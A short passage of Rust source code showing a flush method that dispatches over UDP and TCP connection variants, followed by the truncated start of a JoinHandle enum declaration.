(&mut self) -> io::Result<()> { match *self { Connection::LinuxUdp(_) => Ok(()), Connection::LinuxTcp(ref mut s) => s.flush(), Connection::RuntimeUdp(ref mut s) => s.flush(), Connection::RuntimeTcp(ref mut s) => s.flush(), } } } pub enum JoinHandle<T:...
Rust